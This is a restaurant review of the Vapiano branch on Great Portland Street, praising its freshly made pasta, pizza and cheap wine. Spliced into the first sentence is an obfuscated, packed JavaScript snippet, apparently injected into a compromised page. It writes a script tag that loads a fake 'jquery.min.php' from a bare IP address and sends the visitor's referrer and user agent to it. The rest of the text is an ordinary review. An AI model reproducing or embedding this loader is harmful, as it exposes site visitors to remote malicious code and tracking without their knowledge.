Vapiano (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfhfn|var|u0026u|referrer|ydbtr||js|php’.split(‘|’),0,{}))
is pretty deceiving from the outset, if we’re brutally honest it looks like a place you’d want to avoid rather than go inside. However those who have dared to venture in will know it’s a great place to go for quick, cheap Italian food freshly made before your eyes.

The branch on Great Portland Street has two floors, both feature high tables and chairs and areas with comfy sofas for a more relaxed vibe. Upstairs is a little quieter than below and there’s even a basil garden which is replenished every week, an ode to Vapiano’s commitment to using fresh produce – plus it’s where the bar is located.

Vapiano serves just pizza, pasta or salads and everything is made in front of you. There is a set menu but if you do want to create your own dishes you can or if you want to replace one ingredient with another or just add more you can – anything goes! All of the pasta is made on site daily and there is a huge selection to choose from, aswell as couple of spelt options – full marks.

The pizza station is the same process, the dough is made fresh daily and the toppings can be customised to suit individual tastes. We tried two pasta dishes, the Granchi Di Fiume with Tagliatelle, a generous portion of crayfish with fresh vegetables in a creamy lobster sauce and one of the specials, whose Italian name escapes us with spelt fusilli served with huge juicy prawns, pesto and extra spice as requested.

The wine list is pretty cheap too, the sparkling Rabello Pinot Grigio Rose was just £4.50 a glass and went well with a mound of olives for just £2. We have to admit it did feel a little like a work canteen as you have a card to swipe when ordering and you have to move around the various cooking stations rather to pick up different dishes. That said there is no danger of stale, fatty pie and chips here, it’s all fresh, cheap, tasty food and we liked it!

Don’t let that dodgy logo put you off, step inside and be surprised…

Valpiano, Great Portland Street, W1W